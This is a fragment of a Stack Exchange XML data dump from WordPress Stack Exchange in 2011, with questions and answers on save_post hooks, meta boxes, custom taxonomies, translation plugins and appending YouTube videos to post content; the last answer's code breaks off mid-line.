  <row Id="18272" PostTypeId="2" ParentId="18266" CreationDate="2011-05-25T20:44:29.130" Score="1" ViewCount="" Body="&lt;p&gt;you can do that with hooking a simple function to &lt;code&gt;save_post&lt;/code&gt; hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post','my_rating_field');&#xA;function my_rating_field($post_id){&#xA;    global $post;&#xA;        // verify if this is an auto save routine. &#xA;        // If it is our form has not been submitted, so we dont want to do anything&#xA;        if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;            return;&#xA;&#xA;        // verify this came from the our screen and with proper authorization,&#xA;        // because save_post can be triggered at other times&#xA;        if ( !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename( __FILE__ ) ) )&#xA;            return;&#xA;        // Check post type&#xA;        if ($post-&amp;gt;post_type != &quot;YOUR_POST_TYPE_NAME&quot;)&#xA;            return;&#xA;&#xA;        // OK, we're authenticated: we need to find and save the data&#xA;    $rating = get_post_meta($post_id,'rating',true);&#xA;    //if field not exists create it and give it the value of one&#xA;    if (empty($rating) || !isset($rating)){&#xA;        update_post_meta($post_id,'rating',1);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-25T20:44:29.130" CommentCount="1" />
  <row Id="18273" PostTypeId="2" ParentId="18259" CreationDate="2011-05-25T20:49:26.803" Score="1" ViewCount="" Body="&lt;p&gt;what you are looking for is call in the WordPress world  a MetaBox and just like Yoast SEO you need to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;add_meta_box()&lt;/strong&gt;&lt;/a&gt; function to add your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is a great tutorial and class you can use in your plugin at &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;deluxeblogtips.com&lt;/a&gt;&#xA; I would suggest you use that for a starting point.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-25T20:49:26.803" />
  <row Id="18274" PostTypeId="2" ParentId="18271" CreationDate="2011-05-25T20:56:28.783" Score="2" ViewCount="" Body="&lt;p&gt;I don't know about Bing's spider but you can create your own widget and instead of using the select tag's &lt;code&gt;onchange&lt;/code&gt; event you can use JQuery to bind the change event to do the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;select&quot;).change(function () { window.location.replace(this.val()); });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-25T20:56:28.783" />
  <row Id="18276" PostTypeId="1" CreationDate="2011-05-25T21:50:55.250" Score="0" ViewCount="147" Body="&lt;p&gt;How can I do this for custom post type taxonomies?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//get all child categories for category 15, then for each child category display the posts&#xA;$parent_cat = 15;&#xA;$taxonomy = 'category';&#xA;$cat_children = get_term_children( $parent_cat, $taxonomy );&#xA;&#xA;if ($cat_children) {&#xA;echo '&amp;lt;p&amp;gt;Category 15&amp;lt;/p&amp;gt;';&#xA;foreach($cat_children as $category) {&#xA;$args=array(&#xA;  'cat' =&amp;gt; $category,&#xA;  'post_type' =&amp;gt; 'post',&#xA;  'post_status' =&amp;gt; 'publish',&#xA;  'posts_per_page' =&amp;gt; -1,&#xA;  'caller_get_posts'=&amp;gt; 1&#xA;);&#xA;$my_query = null;&#xA;$my_query = new WP_Query($args);&#xA;if( $my_query-&amp;gt;have_posts() ) {&#xA;  echo 'List of Posts belonging to Category ' . $category;&#xA;  while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php     the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;  endwhile;&#xA;}&#xA;}&#xA;}&#xA;wp_reset_query();  // Restore global post data stomped by the_post().&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5563" LastActivityDate="2011-06-26T15:17:38.833" Title="Display Custom Post Type Taxonomy Child Categories and their Posts" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18277" PostTypeId="1" AcceptedAnswerId="18279" CreationDate="2011-05-25T22:00:11.400" Score="0" ViewCount="49" Body="&lt;p&gt;I have created a custom post types and added some custom metaboxes and now I am wondering witch translation plugin I use for my site? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont have experience with none of them, so I dont know who will support my custom metaboxes and who will not. Can you please suggest a plugin witch would work in my case?&lt;/p&gt;&#xA;" OwnerUserId="3820" LastActivityDate="2011-05-26T01:54:51.330" Title="Custom metabox translation. Suggest please plugin" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="18278" PostTypeId="2" ParentId="18277" CreationDate="2011-05-25T22:07:19.223" Score="0" ViewCount="" Body="&lt;p&gt;You will have to translate your plugin yourself: &lt;a href=&quot;http://codex.wordpress.org/Translating_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Translating_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-25T22:07:19.223" />
  <row Id="18279" PostTypeId="2" ParentId="18277" CreationDate="2011-05-25T22:09:33.903" Score="1" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin#Internationalizing_Your_Plugin&quot; rel=&quot;nofollow&quot;&gt;Internationalizing Your Plugin&lt;/a&gt; codex entry to get a better understanding of WordPress Translations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and read &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers&quot; rel=&quot;nofollow&quot;&gt;I18n for WordPress Developers&lt;/a&gt; after that you will know that if you coded your custom post types and metaboxes the right way with Translatable strings , all plugins work in the same way of looking for these strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i would suggest using &lt;a href=&quot;http://wordpress.org/extend/plugins/codestyling-localization/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Codestyling Localization&lt;/strong&gt;&lt;/a&gt; plugin which create a UI for translating plugins and themes inside WordPress admin.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-25T22:09:33.903" />
  <row Id="18280" PostTypeId="1" CreationDate="2011-05-25T22:21:38.203" Score="1" ViewCount="66" Body="&lt;p&gt;I've been using the Custom Menu feature for a few days now and it's been going quite well until trying to add a new page today. (After already successfully adding a few earlier.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I try to add a new page, it looks okay and everything until I hit &lt;em&gt;Save Menu&lt;/em&gt;. Then, after the reload, the lowest most page becomes a top-level page and is changed to &quot;custom&quot; instead of &quot;page&quot; like all the others. No matter where I try to add new pages, whether it's higher up or a sub page, whichever is the 33rd page will change to top level and become &quot;Custom&quot;. (The &quot;Original:&quot; attribute gets cleared too)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/qmizS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this happened after the 3.1.3 upgrade but I'm not sure if the ones that worked fine were before the upgrade or after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if there's a max pages to this editor but the last page that always gets messed with is page 33.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;After some more tests I can confirm it is related to the number of pages. Create a new menu, adding all my pages (36) without sorting them, it removes the last three and makes page 33 &lt;em&gt;CUSTOM&lt;/em&gt;. Also, I uploaded local copies of &lt;em&gt;wp-includes/nav-menu.php&lt;/em&gt; and related files from 3.1.1 and it's still doing the same thing.&lt;/p&gt;&#xA;" OwnerUserId="5353" LastEditorUserId="5353" LastEditorDisplayName="" LastEditDate="2011-05-26T15:43:36.377" LastActivityDate="2011-05-26T15:43:36.377" ClosedDate="2011-06-01T22:07:20.507" Title="Really strang behaviour when adding a page with WP Custom Menu" Tags="&lt;custom-menus&gt;&lt;menus&gt;" CommentCount="4" />
  <row Id="18281" PostTypeId="1" CreationDate="2011-05-25T22:28:57.967" Score="0" ViewCount="35" Body="&lt;p&gt;I am trying to assign a variable either from my template file or otherwise which I can then access within the post editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5569" LastActivityDate="2011-05-26T15:06:25.350" Title="any way to access variables from within post editor?" Tags="&lt;posts&gt;&lt;editor&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="18282" PostTypeId="2" ParentId="18141" CreationDate="2011-05-25T23:06:16.840" Score="0" ViewCount="" Body="&lt;p&gt;Here's a snippet I use to create a sitemap based on custom menu order:&#xA;&lt;a href=&quot;http://snipplr.com/view/54404/wordpress-custom-sitemap-shortcode-following-custom-menu-order/&quot; rel=&quot;nofollow&quot;&gt;http://snipplr.com/view/54404/wordpress-custom-sitemap-shortcode-following-custom-menu-order/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5695" LastActivityDate="2011-05-25T23:06:16.840" />
  <row Id="18283" PostTypeId="1" CreationDate="2011-05-25T23:42:40.210" Score="0" ViewCount="202" Body="&lt;p&gt;In WP 3.1, it appears that setting &lt;code&gt;'exclude_from_search' = TRUE&lt;/code&gt; for a custom post type excludes the post type not just from searches on the front-end, but also from any post query using &lt;code&gt;'post_type' = 'all&lt;/code&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can imagine plenty of scenarios where a plug-in developer would want to access ALL post types, even those excluded from front-end searches. Is this a bug, or is it just poorly documented?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Backstory:&lt;/em&gt; &#xA;I have a custom post type using a custom &quot;Post Expiration Date&quot; field. In an attempt to automatically un-publish expired custom posts, I created a Content Expiration plugin which uses wp_schedule_event() to periodically unpublish posts where &quot;Post Expiration Date&quot; &amp;lt; Today. It worked great as long as I specified my custom post type, but it stopped working when I tried to make it more generic by setting &lt;code&gt;'post_type' = 'all'&lt;/code&gt; in the WP_Query arguments. Turns out the problem was the 'exclude_from_search' argument for the custom post type. Here's the pertinent code in the WP_Query class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$exclude_post_types = '';&#xA;$in_search_post_types = get_post_types( array('exclude_from_search' =&amp;gt; false) );&#xA;if ( ! empty( $in_search_post_types ) )&#xA;  $exclude_post_types .= $wpdb-&amp;gt;prepare(&quot; AND $wpdb-&amp;gt;posts.post_type IN ('&quot; . join(&quot;', '&quot;, $in_search_post_types ) . &quot;')&quot;);&#xA;&#xA;if ( 'any' == $post_type ) {&#xA;  $where .= $exclude_post_types;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="750" LastActivityDate="2011-05-27T13:52:57.883" Title="Why does 'exclude_from_search' exclude a custom post type from WP_Query?" Tags="&lt;custom-post-types&gt;&lt;wp-query&gt;&lt;search&gt;&lt;post-type&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18284" PostTypeId="2" ParentId="18281" CreationDate="2011-05-25T23:55:37.590" Score="1" ViewCount="" Body="&lt;p&gt;There is no built-in mechanism to access php in the post editor. The best solution would be to create a &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;custom shortcode&lt;/a&gt; which you can use to access the variable. This is probably the safest and most secure method available.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-25T23:55:37.590" />
  <row Id="18285" PostTypeId="2" ParentId="18195" CreationDate="2011-05-26T00:06:07.453" Score="1" ViewCount="" Body="&lt;p&gt;A more reliable approach than messing with CSS would be to add some Javascript in the admin_head action, and basically override the built-in &quot;inlineEditPost&quot; function (located in wp-admin/js/inline-edit-post.js and easier to read in inline-edit-post.dev.js). I haven't looked into it much specifically, but the brute force method would be to copy (and rename) that entire function and basically reverse the show/hide methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've confirmed that disabling Javascript disables the Bulk Edit functionality entirely, so there wouldn't really be a workaround to your override.&lt;/p&gt;&#xA;" OwnerUserId="750" LastActivityDate="2011-05-26T00:06:07.453" />
  <row Id="18287" PostTypeId="2" ParentId="18277" CreationDate="2011-05-26T01:54:51.330" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wpml.org&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt; fully supports custom post types, custom meta boxes, custom taxonomies and more.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-05-26T01:54:51.330" />
  <row Id="18288" PostTypeId="1" AcceptedAnswerId="18297" CreationDate="2011-05-26T02:53:09.337" Score="2" ViewCount="49" Body="&lt;p&gt;I have a custom post I am looking to categorize via a custom taxonomy. The taxonomy itself I want to be dependent on the items of another custom post type. Is it possible to populate a taxonomy via the items of a custom post type, or is it something I have to do manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins, snippets, guidance on alternat methods of approach would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT WITH EXAMPLE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type that basically acts like a page. When I create one, I want it to populate a custom taxonomy with its title. Daniel Dvorkin's answer is the sort of solution I was thinking about.&lt;/p&gt;&#xA;" OwnerUserId="5664" LastEditorUserId="5664" LastEditorDisplayName="" LastEditDate="2011-05-26T08:14:49.197" LastActivityDate="2011-05-26T08:14:49.197" Title="Populate Taxonomy from Custom Posts" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18289" PostTypeId="1" CreationDate="2011-05-26T03:23:05.617" Score="0" ViewCount="68" Body="&lt;p&gt;I'm not sure if this is a good place or not. Or rather this should be put on meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any sort of Theme Developer out there that wants to help out a non-profit/volunteer site setup a theme using a pre-made HTML template? I'm looking for someone who can write up a plugin-style theme with a LOT of options embedded in it that includes Facebook and Twitter integration (Facebook Likes, Comments instead of WordPress comments, Twitter retweet buttons, and Twitter auto-feed to feed new WordPress articles to a twitter account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I'm generally looking for someone to do this freely and on their own time (if there is such a thing, lol).&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-05-26T06:50:47.540" ClosedDate="2011-05-26T16:19:53.103" Title="Theme Developer?" Tags="&lt;theme-development&gt;&lt;facebook&gt;&lt;twitter&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="18290" PostTypeId="1" AcceptedAnswerId="18295" CreationDate="2011-05-26T03:56:55.683" Score="2" ViewCount="139" Body="&lt;p&gt;This might be kind of simple, but I couldn't find a way to do so in the WP docs. My plugin currently uses custom fields for things I could just have radio buttons/check boxes for each post. How do I add a little section where I can have such options rather than custom fields?&lt;/p&gt;&#xA;" OwnerUserId="3269" LastActivityDate="2011-05-26T06:00:12.837" Title="How to add option box in &quot;Edit Post&quot; plugin API?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;posts&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18292" PostTypeId="1" AcceptedAnswerId="18300" CreationDate="2011-05-26T05:15:07.320" Score="0" ViewCount="81" Body="&lt;p&gt;I have a function which is used to display a video,&#xA;I want this video to be shown after the post,&#xA;It should display the video when the post ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added filter to it, but then too, the video is shown before the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the filter which I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function append_the_video($content) {&#xA;            global $post;&#xA;            $content .= youtube_video();&#xA;            return $content;&#xA;            }&#xA;    add_filter('the_content', 'append_the_video');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edited &#xA;entire function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function youtube_video()&#xA;{&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;&#xA;$newvar = urlencode(get_the_title());&#xA;include_once(ABSPATH . WPINC . '/rss.php');&#xA;$rss = fetch_rss('http://gdata.youtube.com/feeds/base/videos?q='.$newvar.'&amp;amp;client=ytapi-youtube-search&amp;amp;v=2');&#xA;    $maxitems = get_option('novideos');&#xA;&#xA;    $items =is_array($rss-&amp;gt;items) ? array_slice($rss-&amp;gt;items, 0, $maxitems) : '' ;&#xA;                            ?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php if (empty($items)) {echo &quot;No current video uploads by &quot;.get_the_title();}&#xA;else foreach ( $items as $item ) : ?&amp;gt;&#xA;&amp;lt;?php&#xA;$youtubeid = strchr($item['link'],'='); &#xA;$youtubeid = substr($youtubeid,1);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Latest Videos of &amp;lt;b&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;:&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;object classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; width=&quot;320&quot; height=&quot;265&quot;&amp;gt;&#xA;&amp;lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/&amp;lt;?php echo $youtubeid ?&amp;gt;&amp;amp;hl=en&amp;amp;fs=1&quot; /&amp;gt;&#xA;&amp;lt;!--[if !IE]&amp;gt;--&amp;gt;&#xA;&amp;lt;object type=&quot;application/x-shockwave-flash&quot; data=&quot;http://www.youtube.com/v/&amp;lt;?php echo $youtubeid ?&amp;gt;&amp;amp;hl=en&amp;amp;fs=1&quot; width=&quot;320&quot; height=&quot;265&quot;&amp;gt;&#xA;&amp;lt;!--&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;http://www.youtube.com/v/&amp;lt;?php echo $youtubeid ?&amp;gt;&quot;&amp;gt;View movie&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;!--[if !IE]&amp;gt;--&amp;gt;&#xA;&amp;lt;/object&amp;gt;&#xA;&amp;lt;!--&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;/object&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;}&#xA;function append_the_video($content) {&#xA;        global $post;&#xA;        $content .= youtube_video();&#xA;        return $content;&#xA;        }&#xA;add_filter('the_content', 'append_the_video');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-05-26T06:54:28.170" LastActivityDate="2011-05-26T10:16:10.787" Title="Add filter to the end of the post" Tags="&lt;posts&gt;&lt;add-filter&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="18294" PostTypeId="2" ParentId="18292" CreationDate="2011-05-26T05:46:08.647" Score="1" ViewCount="" Body="&lt;p&gt;Try containing the content and the video inside different div's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function append_the_video($content) {&#xA;        global $post;&#xA;        return '&amp;lt;div class=&quot;content_inner&quot;&amp;gt;'.$content.'&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;content_video&quot;&amp;gt;'. youtube_video().'&amp;lt;/div&amp;gt;';&#xA;}&#xA;add_filter('the_content', 'append_the_video');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-26T06:33:28.517" LastActivityDate="2011-05-26T06:33:28.517" CommentCount="4" />
  <row Id="18295" PostTypeId="2" ParentId="18290" CreationDate="2011-05-26T05:48:19.343" Score="2" ViewCount="" Body="&lt;p&gt;Below is the example of a couple of checkboxes to set custom field values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// register the meta box&#xA;add_action( 'add_meta_boxes', 'my_custom_field_checkboxes' );&#xA;function my_custom_field_checkboxes() {&#xA;    add_meta_box(&#xA;        'my_meta_box_id',          // this is HTML id of the box on edit screen&#xA;        'My Plugin Checkboxes',    // title of the box&#xA;        'my_customfield_box_content',   // function to be called to display the checkboxes, see the function below&#xA;        'post',        // on which edit screen the box should appear&#xA;        'normal',      // part of page where the box should appear&#xA;        'default'      // priority of the box&#xA;    );&#xA;}&#xA;&#xA;// display the metabox&#xA;function my_customfield_box_content( $post_id ) {&#xA;    // nonce field for security check, you can have the same&#xA;    // nonce field for all your meta boxes of same plugin&#xA;    wp_nonce_field( plugin_basename( __FILE__ ), 'myplugin_nonce' );&#xA;&#xA;    echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;my_plugin_paid_content&quot; value=&quot;1&quot; /&amp;gt; Paid Content &amp;lt;br /&amp;gt;';&#xA;    echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;my_plugin_network_wide&quot; value=&quot;1&quot; /&amp;gt; Network wide';&#xA;}&#xA;&#xA;// save data from checkboxes&#xA;add_action( 'save_post', 'my_custom_field_data' );&#xA;function my_custom_field_data() {&#xA;&#xA;    // check if this isn't an auto save&#xA;    if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;        return;&#xA;&#xA;    // security check&#xA;    if ( !wp_verify_nonce( $_POST['mypluing_nonce'], plugin_basename( __FILE__ ) ) )&#xA;        return;&#xA;&#xA;    // further checks if you like, &#xA;    // for example particular user, role or maybe post type in case of custom post types&#xA;&#xA;    // now store data in custom fields based on checkboxes selected&#xA;    if ( isset( $_POST['my_plugin_paid_content'] ) )&#xA;        update_post_meta( $post_id, 'my_plugin_paid_content', 1 );&#xA;    else&#xA;        update_post_meta( $post_id, 'my_plugin_paid_content', 0 );&#xA;&#xA;    if ( isset( $_POST['my_plugin_network_wide'] ) )&#xA;        update_post_meta( $post_id, 'my_plugin_network_wide', 1 );&#xA;    else&#xA;        update_post_meta( $post_id, 'my_plugin_network_wide', 0 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Following following hooks and functions are required for adding a meta box, see below references for more information about them:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hooks&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/admin_init&quot; rel=&quot;nofollow&quot;&gt;admin_init&lt;/a&gt; (action)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/save_post&quot; rel=&quot;nofollow&quot;&gt;save_post&lt;/a&gt;  (action)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/add_meta_boxes&quot; rel=&quot;nofollow&quot;&gt;add_meta_boxes&lt;/a&gt;  (action) (you don't need admin_init in WordPress 3.0+)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Functions&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_verify_nonce&quot; rel=&quot;nofollow&quot;&gt;wp_verify_nonce&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-26T05:48:19.343" CommentCount="4" />
  <row Id="18297" PostTypeId="2" ParentId="18288" CreationDate="2011-05-26T05:56:01.097" Score="2" ViewCount="" Body="&lt;p&gt;I always use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'mdz_correlate_casos_taxonomy');&#xA;function mdz_correlate_casos_taxonomy( $post_id ){&#xA;&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;        return $post_id;&#xA;&#xA;    if ( 'YOUR CUSTOM POST TYPE' == $_POST['post_type'] ){&#xA;        if (!wp_is_post_revision($post_id)){&#xA;            if (!term_exists( $_POST[&quot;post_title&quot;], 'YOUR CUSTOM TAXONOMY' )){&#xA;&#xA;                $termid = wp_insert_term( $_POST[&quot;post_title&quot;], 'YOUR CUSTOM TAXONOMY' );&#xA;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is prone to get inconsistent (ie: if you delete a post, the term won't get deleted)&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-26T05:56:01.097" CommentCount="2" />
  <row Id="18298" PostTypeId="2" ParentId="18290" CreationDate="2011-05-26T06:00:12.837" Score="1" ViewCount="" Body="&lt;p&gt;This is call in the WordPress world a MetaBox you need to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box()&lt;/a&gt; function to add your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is a great tutorial and a PHP class you can use in your plugin at &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;deluxeblogtips.com&lt;/a&gt; I would suggest you use that for a starting point which will make your life easier.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-26T06:00:12.837" />
  <row Id="18299" PostTypeId="2" ParentId="18289" CreationDate="2011-05-26T06:50:47.540" Score="1" ViewCount="" Body="&lt;p&gt;Your best bet is to look at the free themes in the WordPress themes gallery. All of these themes are free, and a lot of them have all of the options that you mentioned. You could combine a free theme from the gallery, with a Facebook Comments plugin from the plugins gallery to achieve what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-05-26T06:50:47.540" CommentCount="1" />
  <row Id="18300" PostTypeId="2" ParentId="18292" CreationDate="2011-05-26T07:07:20.790" Score="1" ViewCount="" Body="&lt;p&gt;2 options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Edit your youtube_video() function so it return a string instead of printing the code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The easiest way... if you can edit your theme, place the youtube_video() call after showing your post content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function youtube_video()&#xA;{&#xA;&#xA;$ret = &quot;&quot;;&#xA;&#xA;$ret .= &quot;&amp;lt;div class='post'&amp;gt;&quot;;&#xA;&#xA;&#xA;$newvar = urlencode(get_the_title());&#xA;include_once(ABSPATH . WPINC . '/rss.php');&#xA;$rss = fetch_rss('http://gdata.youtube.com/feeds/base/videos?q='.$newvar.'&amp;amp;client=ytapi-youtube-search&amp;amp;v=2');&#xA;    $maxitems = get_option('novideos');&#xA;&#xA;    $items =is_array($rss-&amp;gt;items) ? array_slice($rss-&amp;gt;items, 0, $maxitems) : '' ;&#xA;&#xA;$ret .= &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;&#xA;if (empty($items)) {$ret .= &quot; 'No current video uploads by '.get_the_title()&quot;;}&#xA;else foreach ( $items as $item ) :&#xA;$youtubeid = strchr($item['link'],'='); &#xA;$youtubeid = substr($youtubeid,1);&#xA;&#xA;$ret .= &quot;&amp;lt;p&amp;gt;Latest Videos of &amp;lt;b&amp;gt;&quot; . get_the_title() . &quot;:&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;br&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' width='320' height='265'&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;param name='movie' value='http://www.youtube.com/v/&quot; . $youtubeid .&quot;&amp;amp;hl=en&amp;amp;fs=1' /&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;!--[if !IE]&amp;gt;--&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;object type='application/x-shockwave-flash' data='http://www.youtube.com/v/&quot; . $youtubeid 